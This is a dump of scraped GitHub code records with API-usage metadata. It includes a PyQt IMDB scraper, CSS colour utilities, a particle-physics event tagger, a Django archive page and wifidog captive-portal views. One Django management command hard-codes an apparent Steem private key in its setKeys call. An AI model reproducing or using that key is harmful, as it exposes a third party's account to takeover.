"_incydr_sdk.users.models.UserRole", "line_number": 175, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 189, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 189, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 201, "usage_type": "argument"}, {"api_name": "_incydr_sdk.users.models.UpdateRolesResponse.parse_response", "line_number": 209, "usage_type": "call"}, {"api_name": "_incydr_sdk.users.models.UpdateRolesResponse", "line_number": 209, "usage_type": "name"}, {"api_name": "_incydr_sdk.users.models.UpdateRolesResponse", "line_number": 190, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 212, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 212, "usage_type": "name"}, {"api_name": "_incydr_sdk.users.models.UpdateRolesResponse.parse_response", "line_number": 228, "usage_type": "call"}, {"api_name": "_incydr_sdk.users.models.UpdateRolesResponse", "line_number": 228, "usage_type": "name"}, {"api_name": "_incydr_sdk.users.models.UpdateRolesResponse", "line_number": 213, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 231, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 231, "usage_type": "name"}, {"api_name": "_incydr_sdk.users.models.UpdateRolesResponse.parse_response", "line_number": 247, "usage_type": "call"}, {"api_name": "_incydr_sdk.users.models.UpdateRolesResponse", "line_number": 247, "usage_type": "name"}, {"api_name": "_incydr_sdk.users.models.UpdateRolesResponse", "line_number": 232, "usage_type": "name"}, {"api_name": "requests.Response", "line_number": 249, "usage_type": "name"}, {"api_name": "requests.Response", "line_number": 264, "usage_type": "name"}, {"api_name": "requests.Response", "line_number": 276, "usage_type": "name"}, {"api_name": "pydantic.parse_obj_as", "line_number": 297, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 297, "usage_type": "name"}, {"api_name": "_incydr_sdk.users.models.Role", "line_number": 297, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 288, "usage_type": "name"}, {"api_name": "_incydr_sdk.users.models.Role", "line_number": 288, "usage_type": "name"}, {"api_name": "_incydr_sdk.users.models.Role.parse_response", "line_number": 312, "usage_type": "call"}, {"api_name": "_incydr_sdk.users.models.Role", "line_number": 312, "usage_type": "name"}, {"api_name": "_incydr_sdk.users.models.Role", "line_number": 299, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 343, "usage_type": "argument"}, {"api_name": "_incydr_sdk.exceptions.IncydrException", "line_number": 373, "usage_type": "name"}, {"api_name": "_incydr_sdk.exceptions.IncydrException", "line_number": 397, "usage_type": "name"}, {"api_name": "_incydr_sdk.exceptions.IncydrException", "line_number": 409, "usage_type": "name"}]} {"seq_id": "34893678400", "text": "import requests\r\nimport sys\r\nfrom PyQt5.QtWidgets import QWidget,QAction,QApplication,QLabel,QLineEdit,QMainWindow,QVBoxLayout,QHBoxLayout,QPushButton,QComboBox,qApp,QScrollBar,QScrollArea,QListWidget,QListWidgetItem\r\nimport os\r\nfrom bs4 import BeautifulSoup\r\nfrom random import randint\r\nfrom time import sleep\r\n\r\n\r\nclass Arayuz(QWidget):\r\n\r\n def __init__(self):\r\n super().__init__()\r\n\r\n self.veriler = self.verileri_al()\r\n\r\n self.initUI()\r\n\r\n\r\n def verileri_al(self):\r\n\r\n url = \"https://www.imdb.com/chart/top\"\r\n\r\n response = requests.get(url)\r\n\r\n html_icerigi = response.content\r\n\r\n soup = BeautifulSoup(html_icerigi,\"html.parser\")\r\n\r\n filmler = soup.find_all(\"td\",{\"class\":\"titleColumn\"})\r\n ratingler = soup.find_all(\"td\",{\"class\":\"ratingColumn imdbRating\"})\r\n\r\n liste = list()\r\n\r\n for i,j in zip(filmler,ratingler):\r\n i = i.text\r\n j = j.text\r\n\r\n i = i.strip()\r\n j = j.strip()\r\n\r\n i = i.replace(\"\\n\",\"\")\r\n j = j.replace(\"\\n\",\"\")\r\n\r\n i = i.replace(\"(\",\" (\")\r\n\r\n\r\n liste.append((i,j))\r\n\r\n\r\n return liste\r\n\r\n\r\n\r\n def initUI(self):\r\n\r\n self.rastgele = QPushButton(\"Rastgele Seçim\")\r\n\r\n self.yazi_alani = QLabel(self.yazı_yap())\r\n self.yazi_alani2 = QLabel(\"\")\r\n self.talimat = QLabel(\"IMDB Programına Hoşgeldiniz!\")\r\n\r\n\r\n\r\n\r\n v_box = QVBoxLayout()\r\n h_box = QHBoxLayout()\r\n\r\n v_box.addStretch()\r\n v_box.addWidget(self.talimat)\r\n v_box.addSpacing(25)\r\n\r\n\r\n h_box.addWidget(self.rastgele)\r\n\r\n v_box.addLayout(h_box)\r\n v_box.addWidget(self.yazi_alani2)\r\n v_box.addStretch()\r\n\r\n\r\n\r\n\r\n v_box2 = QVBoxLayout()\r\n h_box2 = QHBoxLayout()\r\n h_box2.addSpacing(50)\r\n\r\n scroll_area = QScrollArea()\r\n scroll_area.setWidgetResizable(True)\r\n scroll_area.setWidget(self.yazi_alani)\r\n\r\n h_box2.addWidget(scroll_area)\r\n\r\n\r\n h_box2.addStretch()\r\n\r\n v_box2.addSpacing(25)\r\n v_box2.addLayout(h_box2)\r\n\r\n v_main = QVBoxLayout()\r\n h_main = QHBoxLayout()\r\n h_main.addLayout(v_main)\r\n h_main.addLayout(v_box)\r\n h_main.addLayout(v_box2)\r\n\r\n self.setLayout(h_main)\r\n\r\n self.setFixedSize(700,600)\r\n self.setWindowTitle(\"IMDB Top 250 Seçim Programı\")\r\n\r\n\r\n self.rastgele.pressed.connect(self.random_film)\r\n\r\n\r\n\r\n\r\n def yazı_yap(self):\r\n veriler = self.veriler\r\n yazi = \"\"\r\n for i in veriler:\r\n yazi = yazi +i[0] + \" : \" +i[1]+\"\\n\"\r\n\r\n return yazi\r\n\r\n def random_film(self):\r\n veriler = self.veriler\r\n yazi = \"\"\r\n rastgele_sayı = randint(1,250)\r\n\r\n yazi = yazi + veriler[rastgele_sayı-1][0]+\" : \"+veriler[rastgele_sayı-1][1]\r\n self.yazi_alani2.setText(yazi)\r\n\r\n\r\n\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n app = QApplication(sys.argv)\r\n\r\n arayuz = Arayuz()\r\n arayuz.show()\r\n sys.exit(app.exec_())\r\n", "repo_name": "Arefnue/Python_Denemelerim", "sub_path": "IMDB arayüz/IMDB.py", "file_name": "IMDB.py", "file_ext": "py", "file_size_in_byte": 3067, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 10, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 24, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 28, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 57, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 59, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 60, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 61, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QVBoxLayout", "line_number": 66, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QHBoxLayout", "line_number": 67, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QVBoxLayout", "line_number": 83, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QHBoxLayout", "line_number": 84, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QScrollArea", "line_number": 87, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QVBoxLayout", "line_number": 99, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QHBoxLayout", "line_number": 100, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 127, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 138, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 138, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 142, "usage_type": "call"}]} {"seq_id": "6684692269", "text": "import cssutils\r\nimport logging\r\nfrom utils.color_contrast import getValidColor\r\ncssutils.log.setLevel(logging.CRITICAL)\r\n\r\n\r\ndef get_new_colors(color, background_color):\r\n new_color = getValidColor(color, background_color)\r\n # new_color = {\"color\": \"#ffffff\", \"background-color\": \"#000000\"}\r\n print(new_color)\r\n return new_color\r\n\r\n\r\ndef get_css_rules(css_file_path):\r\n \"\"\"\r\n Returns a list of CSSStyleRule objects from the given CSS file.\r\n \"\"\"\r\n sheet = get_parsed_css(css_file_path)\r\n return [rule for rule in sheet if isinstance(rule, cssutils.css.CSSStyleRule)]\r\n\r\n\r\ndef get_parsed_css(css_file_path):\r\n \"\"\"\r\n Parses the given CSS file and returns a CSSStyleSheet object.\r\n \"\"\"\r\n with open(css_file_path, \"r\") as f:\r\n css_text = f.read()\r\n return cssutils.parseString(css_text)\r\n\r\n\r\ndef write_css_rules_to_file(css_rules, css_file_path):\r\n # Create a new CSSStyleSheet object\r\n stylesheet = cssutils.css.CSSStyleSheet()\r\n\r\n # Add the CSSStyleRule objects to the stylesheet\r\n for rule in css_rules:\r\n stylesheet.add(rule)\r\n\r\n # Serialize the stylesheet into CSS text\r\n css_text = stylesheet.cssText.decode('utf-8') # convert bytes to string\r\n\r\n # Write the CSS text to the file\r\n with open(css_file_path, 'w') as f:\r\n f.write(css_text)\r\n\r\n\r\ndef replace_css_colors(css_file_path, output_file):\r\n \"\"\"\r\n Replaces the \"color\" and \"background-color\" properties in the given CSS file with new colors returned by\r\n another function.\r\n \"\"\"\r\n\r\n changes = []\r\n\r\n css_rules = get_css_rules(css_file_path)\r\n for rule in css_rules:\r\n # Check if the rule has both \"color\" and \"background-color\" properties\r\n if \"color\" in rule.style.cssText and \"background-color\" in rule.style.cssText:\r\n # Extract the current colors from the rule\r\n current_colors = {\r\n \"color\": rule.style.getPropertyValue(\"color\"),\r\n \"background-color\": rule.style.getPropertyValue(\"background-color\")\r\n }\r\n # Call another function to get the new colors\r\n new_colors = get_new_colors(\r\n current_colors[\"color\"], current_colors[\"background-color\"])\r\n # If the new colors are different, update the rule with the new colors\r\n if new_colors[\"color\"] != current_colors[\"color\"] or new_colors[\"background-color\"] != current_colors[\"background-color\"]:\r\n\r\n change = {\r\n 'selector': rule.selectorText,\r\n 'current_colors': current_colors,\r\n 'suggested_colors': new_colors\r\n }\r\n\r\n changes.append(change)\r\n\r\n rule.style.setProperty(\"color\", new_colors[\"color\"])\r\n rule.style.setProperty(\r\n \"background-color\", new_colors[\"background-color\"])\r\n\r\n # Write the updated CSS file\r\n write_css_rules_to_file(css_rules, output_file)\r\n return changes\r\n\r\n\r\ndef update_css_colors(css_file_path, objects):\r\n # Get the CSS rules from the file\r\n css_rules = get_css_rules(css_file_path)\r\n\r\n # Iterate over the objects and update the CSS rules\r\n for obj in objects:\r\n # Find the CSS rule with the matching class name\r\n for rule in css_rules:\r\n if rule.selectorText == obj['selector']:\r\n # Update the color and background-color properties\r\n rule.style.setProperty('color', obj['color'], '')\r\n rule.style.setProperty(\r\n 'background-color', obj['background-color'], '')\r\n\r\n # Write the updated CSS rules back to the file\r\n write_css_rules_to_file(css_rules, css_file_path)\r\n\r\n\r\n# css_file_path = \"test.css\"\r\n# # replace_css_colors(css_file_path)\r\n# update_css_colors(css_file_path, [\r\n# {'selector': '.navbar', 'color': '#123', 'background-color': \"#456\"}])\r\n", "repo_name": "shivamnaik39/fiveOeight-backend", "sub_path": "backend/utils/css_utils.py", "file_name": "css_utils.py", "file_ext": "py", "file_size_in_byte": 3925, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "cssutils.log.setLevel", "line_number": 4, "usage_type": "call"}, {"api_name": "cssutils.log", "line_number": 4, "usage_type": "attribute"}, {"api_name": "logging.CRITICAL", "line_number": 4, "usage_type": "attribute"}, {"api_name": "utils.color_contrast.getValidColor", "line_number": 8, "usage_type": "call"}, {"api_name": "cssutils.css", "line_number": 19, "usage_type": "attribute"}, {"api_name": "cssutils.parseString", "line_number": 28, "usage_type": "call"}, {"api_name": "cssutils.css.CSSStyleSheet", "line_number": 33, "usage_type": "call"}, {"api_name": "cssutils.css", "line_number": 33, "usage_type": "attribute"}]} {"seq_id": "10908392927", "text": "import awkward\nimport vector\n\nvector.register_awkward()\n\nimport logging\nlogger = logging.getLogger(__name__)\n\nfrom higgs_dna.taggers.tagger import Tagger, NOMINAL_TAG\nfrom higgs_dna.selections import lepton_selections, jet_selections\nfrom higgs_dna.utils import awkward_utils, misc_utils\n\nDUMMY_VALUE = -999.\n\nDEFAULT_OPTIONS = {\n \"electrons\" : {\n \"pt\" : 20.0,\n \"dr_photons\" : 0.2\n },\n \"muons\" : {\n \"pt\" : 20.0,\n \"dr_photons\" : 0.2\n },\n \"jets\" : {\n \"pt\" : 25.0,\n \"eta\" : 2.4,\n \"dr_photons\" : 0.4,\n \"dr_electrons\" : 0.4,\n \"dr_muons\" : 0.4,\n },\n \"photon_id\" : 0.0,\n \"btag_wp\" : {\n \"2016\" : 0.3093,\n \"2016UL_preVFP\" : 0.3093,\n \"2016UL_postVFP\" : 0.3093,\n \"2017\" : 0.3040,\n \"2018\" : 0.2783\n }\n} \n\nclass TTHPreselTagger(Tagger):\n \"\"\"\n ttH Preselection tagger for tutorial\n \"\"\"\n def __init__(self, name, options = {}, is_data = None, year = None):\n super(TTHPreselTagger, self).__init__(name, options, is_data, year)\n\n if not options:\n self.options = DEFAULT_OPTIONS\n else:\n self.options = misc_utils.update_dict(\n original = DEFAULT_OPTIONS,\n new = options\n )\n\n def calculate_selection(self, events):\n # Electrons\n electron_cut = lepton_selections.select_electrons(\n electrons = events.Electron,\n options = self.options[\"electrons\"],\n clean = {\n \"photons\" : {\n \"objects\" : events.Diphoton.Photon,\n \"min_dr\" : self.options[\"electrons\"][\"dr_photons\"]\n }\n },\n name = \"SelectedElectron\",\n tagger = self\n )\n\n electrons = awkward_utils.add_field(\n events = events,\n name = \"SelectedElectron\",\n data = events.Electron[electron_cut]\n )\n\n # Muons\n muon_cut = lepton_selections.select_muons(\n muons = events.Muon,\n options = self.options[\"muons\"],\n clean = {\n \"photons\" : {\n \"objects\" : events.Diphoton.Photon,\n \"min_dr\" : self.options[\"muons\"][\"dr_photons\"]\n }\n },\n name = \"SelectedMuon\",\n tagger = self\n )\n\n muons = awkward_utils.add_field(\n events = events,\n name = \"SelectedMuon\",\n data = events.Muon[muon_cut]\n )\n\n # Jets\n jet_cut = jet_selections.select_jets(\n jets = events.Jet,\n options = self.options[\"jets\"],\n clean = {\n \"photons\" : {\n \"objects\" : events.Diphoton.Photon,\n \"min_dr\" : self.options[\"jets\"][\"dr_photons\"]\n },\n \"electrons\" : {\n \"objects\" : events.SelectedElectron,\n \"min_dr\" : self.options[\"jets\"][\"dr_electrons\"]\n },\n \"muons\" : {\n \"objects\" : events.SelectedMuon,\n \"min_dr\" : self.options[\"jets\"][\"dr_muons\"]\n }\n },\n name = \"SelectedJet\",\n tagger = self\n )\n\n jets = awkward_utils.add_field(\n events = events,\n name = \"SelectedJet\",\n data = events.Jet[jet_cut]\n )\n\n bjets = jets[awkward.argsort(jets.btagDeepFlavB, axis = 1, ascending = False)]\n bjets = bjets[bjets.btagDeepFlavB > self.options[\"btag_wp\"][self.year]] \n\n # Z-veto\n # Register as `vector.Momentum4D` objects so we can do four-vector operations with them\n electrons = awkward.Array(electrons, with_name = \"Momentum4D\")\n muons = awkward.Array(muons, with_name = \"Momentum4D\")\n\n # Construct di-electron/di-muon pairs\n ee_pairs = awkward.combinations(\n electrons, # objects to make combinations out of\n 2, # how many objects go in a combination\n fields = [\"LeadLepton\", \"SubleadLepton\"] # can access these as e.g. ee_pairs.LeadLepton.pt\n )\n mm_pairs = awkward.combinations(muons, 2, fields = [\"LeadLepton\", \"SubleadLepton\"])\n \n # Concatenate these together\n z_cands = awkward.concatenate([ee_pairs, mm_pairs], axis = 1)\n z_cands[\"ZCand\"] = z_cands.LeadLepton + z_cands.SubleadLepton # these add as 4-vectors since we registered them as \"Momentum4D\" objects\n\n # Make Z candidate-level cuts\n os_cut = z_cands.LeadLepton.charge * z_cands.SubleadLepton.charge == -1\n mass_cut = (z_cands.ZCand.mass > 86.) & (z_cands.ZCand.mass < 96.)\n z_cut = os_cut & mass_cut\n z_cands = z_cands[z_cut] # OSSF lepton pairs with m_ll [86., 96.]\n\n # Make event level cut\n has_z_cand = awkward.num(z_cands) >= 1 # veto any event that has a Z candidate\n ee_event = awkward.num(electrons) >= 2\n mm_event = awkward.num(muons) >= 2\n z_veto = ~(has_z_cand & (ee_event | mm_event))\n\n # Preselection\n n_electrons = awkward.num(electrons)\n n_muons = awkward.num(muons)\n n_leptons = n_electrons + n_muons\n\n n_jets = awkward.num(jets)\n n_bjets = awkward.num(bjets)\n\n photon_id_cut = (events.LeadPhoton.mvaID > self.options[\"photon_id\"]) & (events.SubleadPhoton.mvaID > self.options[\"photon_id\"]) \n\n # Hadronic presel\n hadronic = (n_leptons == 0) & (n_jets >= 4) & (n_bjets >= 1) \n\n # Leptonic presel\n leptonic = (n_leptons >= 1) & (n_jets >= 2)\n\n presel_cut = (hadronic | leptonic) & z_veto & photon_id_cut\n self.register_cuts(\n names = [\"hadronic presel\", \"leptonic presel\", \"z veto\", \"photon ID cut\", \"all\"],\n results = [hadronic, leptonic, z_veto, photon_id_cut, presel_cut]\n )\n\n return presel_cut, events\n \n", "repo_name": "sam-may/HiggsDNA", "sub_path": "higgs_dna/taggers/tutorial.py", "file_name": "tutorial.py", "file_ext": "py", "file_size_in_byte": 6150, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "vector.register_awkward", "line_number": 4, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 7, "usage_type": "call"}, {"api_name": "higgs_dna.taggers.tagger.Tagger", "line_number": 41, "usage_type": "name"}, {"api_name": "higgs_dna.utils.misc_utils.update_dict", "line_number": 51, "usage_type": "call"}, {"api_name": "higgs_dna.utils.misc_utils", "line_number": 51, "usage_type": "name"}, {"api_name": "higgs_dna.selections.lepton_selections.select_electrons", "line_number": 58, "usage_type": "call"}, {"api_name": "higgs_dna.selections.lepton_selections", "line_number": 58, "usage_type": "name"}, {"api_name": "higgs_dna.utils.awkward_utils.add_field", "line_number": 71, "usage_type": "call"}, {"api_name": "higgs_dna.utils.awkward_utils", "line_number": 71, "usage_type": "name"}, {"api_name": "higgs_dna.selections.lepton_selections.select_muons", "line_number": 78, "usage_type": "call"}, {"api_name": "higgs_dna.selections.lepton_selections", "line_number": 78, "usage_type": "name"}, {"api_name": "higgs_dna.utils.awkward_utils.add_field", "line_number": 91, "usage_type": "call"}, {"api_name": "higgs_dna.utils.awkward_utils", "line_number": 91, "usage_type": "name"}, {"api_name": "higgs_dna.selections.jet_selections.select_jets", "line_number": 98, "usage_type": "call"}, {"api_name": "higgs_dna.selections.jet_selections", "line_number": 98, "usage_type": "name"}, {"api_name": "higgs_dna.utils.awkward_utils.add_field", "line_number": 119, "usage_type": "call"}, {"api_name": "higgs_dna.utils.awkward_utils", "line_number": 119, "usage_type": "name"}, {"api_name": "awkward.argsort", "line_number": 125, "usage_type": "call"}, {"api_name": "awkward.Array", "line_number": 130, "usage_type": "call"}, {"api_name": "awkward.Array", "line_number": 131, "usage_type": "call"}, {"api_name": "awkward.combinations", "line_number": 134, "usage_type": "call"}, {"api_name": "awkward.combinations", "line_number": 139, "usage_type": "call"}, {"api_name": "awkward.concatenate", "line_number": 142, "usage_type": "call"}, {"api_name": "awkward.num", "line_number": 152, "usage_type": "call"}, {"api_name": "awkward.num", "line_number": 153, "usage_type": "call"}, {"api_name": "awkward.num", "line_number": 154, "usage_type": "call"}, {"api_name": "awkward.num", "line_number": 158, "usage_type": "call"}, {"api_name": "awkward.num", "line_number": 159, "usage_type": "call"}, {"api_name": "awkward.num", "line_number": 162, "usage_type": "call"}, {"api_name": "awkward.num", "line_number": 163, "usage_type": "call"}]} {"seq_id": "19306672514", "text": "# coding:utf-8\r\nimport piston\r\nfrom django.core.management.base import BaseCommand\r\n\r\nclass Command(BaseCommand):\r\n def handle(self, *args, **options):\r\n\r\n from steem import Steem\r\n steem = Steem('wss://ws.mapala.net')\r\n\r\n steem.wallet.setKeys('5HyrRSrm4taTzH5gubLxrnN3BT1tEfnWzzERKy9ohHxGVD6vzVq')\r\n\r\n steem.post(\"Testing steem library\", \"I am testing steem\", author='sci', category=\"test\")\r\n\r\n self.stdout.write(\r\n self.style.SUCCESS('done')\r\n )\r\n", "repo_name": "Prodev2017/Django_MP", "sub_path": "apps/pages/management/commands/piston.py", "file_name": "piston.py", "file_ext": "py", "file_size_in_byte": 505, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.core.management.base.BaseCommand", "line_number": 5, "usage_type": "name"}, {"api_name": "steem.Steem", "line_number": 9, "usage_type": "call"}, {"api_name": "steem.wallet.setKeys", "line_number": 11, "usage_type": "call"}, {"api_name": "steem.wallet", "line_number": 11, "usage_type": "attribute"}, {"api_name": "steem.post", "line_number": 13, "usage_type": "call"}]} {"seq_id": "40107398953", "text": "from django.db import models\nfrom django_user_agents.utils import get_user_agent\nfrom django.core.paginator import EmptyPage, PageNotAnInteger, Paginator\n\nfrom article.models import ArticlePage\nfrom section.models import SectionPage\nfrom wagtail.core.models import Page\n\nclass ArchivePage(Page):\n template = \"archive/archive_page.html\"\n\n parent_page_types = [\n 'home.HomePage',\n ]\n max_count_per_parent = 1\n\n def __get_years(self):\n \"\"\"\n Returns:\n Hits DB to find list of years such that there is an article published at that year\n \"\"\"\n publish_dates = ArticlePage.objects.live().dates('explicit_published_at','year',order='DESC')\n years = []\n\n for publish_date in publish_dates:\n years.append(publish_date.year)\n\n return years\n\n def __parse_int_or_none(self, maybe_int):\n \"\"\"\n Private helper that enforces stricter discipline on section id and year values in request headers.\n \n Returns:\n maybe_int cast to an integer or None if the cast fails. \n \"\"\"\n try:\n return int(maybe_int)\n except (TypeError, ValueError):\n return None\n\n def get_context(self, request, *args, **kwargs):\n context = super().get_context(request, *args, **kwargs)\n\n # Getting information from the HTTP request\n search_query = request.GET.get(\"q\")\n page = request.GET.get(\"page\")\n order = request.GET.get(\"order\")\n section_slug = request.GET.get('section')\n self.year = self.__parse_int_or_none(request.GET.get('year'))\n if order == 'oldest':\n article_order = \"explicit_published_at\"\n else: \n article_order = \"-explicit_published_at\"\n context[\"order\"] = order\n\n # Get and trim the queryset of articles\n if section_slug:\n articles = ArticlePage.objects.from_section(section_slug=section_slug).live().public().order_by(article_order) \n else:\n articles = ArticlePage.objects.live().public().order_by(article_order)\n if self.year:\n articles = articles.filter(explicit_published_at__year=str(self.year))\n\n # If there's a search query, then we run the search on the articles LAST.\n # Once we hit thes earch then we can't run .filter(...) on the results as if it were a queryset\n if search_query:\n context[\"search_query\"] = search_query\n articles = articles.search(search_query)\n\n # Paginate all posts by 15 per page\n paginator = Paginator(articles, per_page=15)\n try:\n # If the page exists and the ?page=x is an int\n paginated_articles = paginator.page(page)\n context[\"current_page\"] = page\n except PageNotAnInteger:\n # If the ?page=x is not an int; show the first page\n paginated_articles = paginator.page(1)\n except EmptyPage:\n # If the ?page=x is out of range (too high most likely)\n # Then return the last page\n paginated_articles = paginator.page(paginator.num_pages)\n\n context[\"page_obj\"] = paginated_articles #this object is often called page_obj in Django docs. Careful, because but Page means something else in Wagtail\n\n # set context\n context['sections'] = SectionPage.objects.live()\n context['section_slug'] = section_slug\n context['order'] = order\n context['year'] = self.year\n context['years'] = self.__get_years()\n context['q'] = search_query\n context['meta'] = { 'title': 'Archive' }\n\n return context", "repo_name": "wnguye03/ubyssey.ca", "sub_path": "archive/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 3671, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "78", "api": [{"api_name": "wagtail.core.models.Page", "line_number": 9, "usage_type": "name"}, {"api_name": "article.models.ArticlePage.objects.live", "line_number": 22, "usage_type": "call"}, {"api_name": "article.models.ArticlePage.objects", "line_number": 22, "usage_type": "attribute"}, {"api_name": "article.models.ArticlePage", "line_number": 22, "usage_type": "name"}, {"api_name": "article.models.ArticlePage.objects.from_section", "line_number": 59, "usage_type": "call"}, {"api_name": "article.models.ArticlePage.objects", "line_number": 59, "usage_type": "attribute"}, {"api_name": "article.models.ArticlePage", "line_number": 59, "usage_type": "name"}, {"api_name": "article.models.ArticlePage.objects.live", "line_number": 61, "usage_type": "call"}, {"api_name": "article.models.ArticlePage.objects", "line_number": 61, "usage_type": "attribute"}, {"api_name": "article.models.ArticlePage", "line_number": 61, "usage_type": "name"}, {"api_name": "django.core.paginator.Paginator", "line_number": 72, "usage_type": "call"}, {"api_name": "django.core.paginator.PageNotAnInteger", "line_number": 77, "usage_type": "name"}, {"api_name": "django.core.paginator.EmptyPage", "line_number": 80, "usage_type": "name"}, {"api_name": "section.models.SectionPage.objects.live", "line_number": 88, "usage_type": "call"}, {"api_name": "section.models.SectionPage.objects", "line_number": 88, "usage_type": "attribute"}, {"api_name": "section.models.SectionPage", "line_number": 88, "usage_type": "name"}]} {"seq_id": "36877246791", "text": "from django.views.generic.base import View\nfrom django.views.generic import TemplateView\nfrom django.views.generic.edit import FormView\nfrom django.http import HttpResponse\nfrom .models import *\nfrom django.contrib.auth import authenticate, login\nfrom django.http import HttpResponseRedirect\nfrom django.core.context_processors import csrf\nfrom django.conf import settings\nfrom django.contrib.auth.models import User\nfrom .forms import LoginForm\nfrom .utilities import TokenMixin\nimport logging\n\n\n\n\nclass BaseView(View):\n\n def post(self, request, *args, **kwargs):\n return HttpResponse('Invalid request.')\n\n\nclass WIFIPingView(BaseView):\n \"\"\" This handles the ping request from\n the router \"\"\"\n\n def get(self, request, *args, **kwargs):\n\n try:\n m = WIFIPing(**request.GET.dict())\n m.save()\n return HttpResponse('Pong')\n except:\n return HttpResponse('Error')\n\n\n\nclass WIFIAuthView(TokenMixin, BaseView):\n \"\"\" This handles the request from the router client\n to report the status of each user connection.\n\n Must return one of the following codes:\n\n 0 - AUTH_DENIED\n 6 - AUTH_VALIDATION_FAILED\n 1 - AUTH_ALLOWED\n 5 - AUTH_VALIDATION\n -1 - AUTH_ERROR\n\n \"\"\"\n\n\n def get(self, request, *args, **kwargs):\n\n token = self.extract_token(request=request)\n\n auth_request = WIFIAuthRequest(\n stage=request.GET.get('stage', None),\n ip=request.GET.get('ip', None),\n token=request.GET.get('token', None),\n incoming=request.GET.get('incoming', 0),\n mac=request.GET.get('mac', ''),\n outgoing=request.GET.get('outgoing', 0),)\n\n valid = self.is_token_valid(token)\n\n if valid:\n auth_request.result = 1\n auth_request.save()\n return HttpResponse('Auth: 1')\n\n else:\n auth_request.result = 0\n auth_request.save()\n return HttpResponse('Auth: 0')\n\n\n def is_token_valid(self, token):\n\n try:\n token_obj = Token.objects.get(token=token)\n except:\n return False\n\n if token_obj.is_valid():\n return True\n else:\n return False\n\n\n\nclass WIFILoginView(TokenMixin, FormView):\n template_name=\"wifidog/login.html\"\n form_class = LoginForm\n\n \"\"\" The request to the login page \"\"\"\n\n def get_initial(self):\n return self.request.GET.dict()\n\n\n def get_context_data(self, *args, **kwargs):\n\n context = super(WIFILoginView, self).get_context_data(**kwargs)\n\n if self.request.GET:\n context.update(**self.request.GET.dict())\n\n return context\n\n\n def get_success_url(self):\n\n return \"http://%s:%s/wifidog/auth?token=%s\" % (\n self.form.cleaned_data['gw_address'],\n self.form.cleaned_data['gw_port'],\n self.token)\n\n\n def form_valid(self, form):\n\n self.form = form\n\n \"\"\" Check if the person is authorized to log in. \"\"\"\n\n success, user = self.authenticate(form.cleaned_data['email'],\n form.cleaned_data['password'])\n\n if not success:\n\n context = super(WIFILoginView, self).get_context_data()\n\n context.update({\n 'invalid': True,\n 'form': form,\n 'invalid_message': \"Invalid login. Please try again.\"\n })\n\n logging.getLogger('default').warn('Invalid login from %s' % form.cleaned_data['email'])\n\n return self.render_to_response(context)\n\n self.token = self.create_token()\n\n token_obj = Token(\n user=user,\n token=self.create_token(),\n ).save()\n\n return super(WIFILoginView, self).form_valid(form)\n\n\n def authenticate(self, email, password):\n\n if self.request.user.is_authenticated():\n return True, self.request.user\n\n try:\n user = User.objects.get(email=email)\n except:\n return (False, None)\n\n user = authenticate(username=user.username,\n password=password)\n\n if user is not None:\n\n if user.is_active:\n login(self.request, user)\n return True, user\n\n return False, user\n\n else:\n return False, user\n\n\n\n\n\n\n\n\n\n\n\n", "repo_name": "ryanbagwell/django-wifidog", "sub_path": "wifidog/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 4378, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 13, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.views.generic.base.View", "line_number": 18, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 21, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 33, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 35, "usage_type": "call"}, {"api_name": "utilities.TokenMixin", "line_number": 39, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 71, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 76, "usage_type": "call"}, {"api_name": "utilities.TokenMixin", "line_number": 93, "usage_type": "name"}, {"api_name": "django.views.generic.edit.FormView", "line_number": 93, "usage_type": "name"}, {"api_name": "forms.LoginForm", "line_number": 95, "usage_type": "name"}, {"api_name": "logging.getLogger", "line_number": 140, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects.get", "line_number": 160, "usage_type": "call"}, {"api_name": 